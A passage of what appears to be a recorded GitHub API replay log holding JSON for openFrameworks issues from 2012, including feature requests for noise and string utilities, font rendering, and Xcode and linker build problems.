Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1138,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"benign error message","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-04-04T11:05:57Z","state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","id":1611385,"avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3968742,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-03T17:37:10Z","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","comments":2,"milestone":null,"number":1134,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","assignee":null,"title":"multidimensional noise output","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T16:44:55Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '55518'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"414a5c156bbe219ad21d164052b40f6c"'), ('date', 'Tue, 29 May 2012 19:27:11 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911629,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911537,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3910580,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3910555,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3910549,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3897090,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100},"id":3883598,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1216228},"id":3856005,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3850655,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","comments":0,"milestone":null,"number":1117,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","assignee":null,"title":"Can't retrieve desired frame rate once set","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-27T11:48:00Z","state":"open","user":{"url":"https://api.github.com/users/armadillu","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","login":"armadillu","avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167057},"id":3825582,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T22:27:14Z","body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","comments":5,"milestone":null,"number":1116,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","assignee":null,"title":"ofVBO updateIndexData incorrect buffer type.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-26T18:26:05Z","state":"open","user":{"url":"https://api.github.com/users/vade","gravatar_id":"37aca214d4875cd90af9d67072c82642","login":"vade","avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":65011},"id":3813852,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:45:51Z","body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","comments":3,"milestone":null,"number":1115,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","assignee":null,"title":"optimization level in xcode projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"closed_at":null,"created_at":"2012-03-26T17:05:14Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812318,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T15:31:31Z","body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","comments":1,"milestone":null,"number":1114,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","assignee":{"url":"https://api.github.com/users/joshuajnoble","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","login":"joshuajnoble","avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":237423},"title":"macros in ofArduino","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-26T17:02:21Z","state":"open","user":{"url":"https://api.github.com/users/colormotor","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","login":"colormotor","avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1239872},"id":3812275,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-27T14:56:56Z","body":"Hello.\r\n\r\nI'm trying to run camera frame grabing in OSX Lion.\r\nSimple ofVideoGrabber doesn't work - even if I link it with 10.6 SDK (and 10.6 is deployment target) I receive crash in initialization of ofVideoGrabber. Details are the same as in http://forum.openframeworks.cc/index.php/topic,6776.0.html\r\n\r\nI tryed QtKitMovieGrabberExample. It had some problems in compilation - texture property was not synthesized, I wrote this property and compilation run well.\r\nBut linking is fault. All I receive form linker is:\r\n\r\n*Ld bin/movieGrabberExampleDebug.app/Contents/MacOS/movieGrabberExampleDebug normal i386\r\n cd /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample\r\n setenv MACOSX_DEPLOYMENT_TARGET 10.6\r\n /Developer/usr/bin/clang++ -arch i386 -isysroot /Developer/SDKs/MacOSX10.6.sdk -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freeimage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/poco/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/fmodex/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/freetype/lib/osx -L/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/FreeImage/lib/osx -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/bin -F/Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/glut/lib/osx -filelist /Users/yltastep/Library/Developer/Xcode/DerivedData/movieGrabberExample-aftkspwrgtotrteyzaplfbqzeasd/Build/Intermediates/movieGrabberExample.build/Debug/movieGrabberExample.build/Objects-normal/i386/movieGrabberExampleDebug.LinkFileList -mmacosx-version-min=10.6 -dead_strip ../../../libs/poco/lib/osx/PocoFoundation.a ../../../libs/poco/lib/osx/PocoNet.a ../../../libs/poco/lib/osx/PocoXML.a ../../../libs/poco/lib/osx/PocoUtil.a ../../../libs/tess2/lib/osx/tess2.a ../../../libs/glew/lib/osx/glew.a ../../../libs/cairo/lib/osx/cairo-script-interpreter.a ../../../libs/cairo/lib/osx/cairo.a ../../../libs/cairo/lib/osx/pixman-1.a ../../../libs/fmodex/lib/osx/libfmodex.dylib ../../../libs/rtAudio/lib/osx/rtAudio.a /Users/yltastep/Documents/XCode/openframeworks/libs/openFrameworksCompiled/lib/osx/openFrameworksDebug.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/GLee/lib/osx/GLee.a /Users/yltastep/Documents/XCode/openframeworks/apps/devApps/QtKitMovieGrabberExample/../../../libs/rtAudio/lib/osx/rtAudio.a 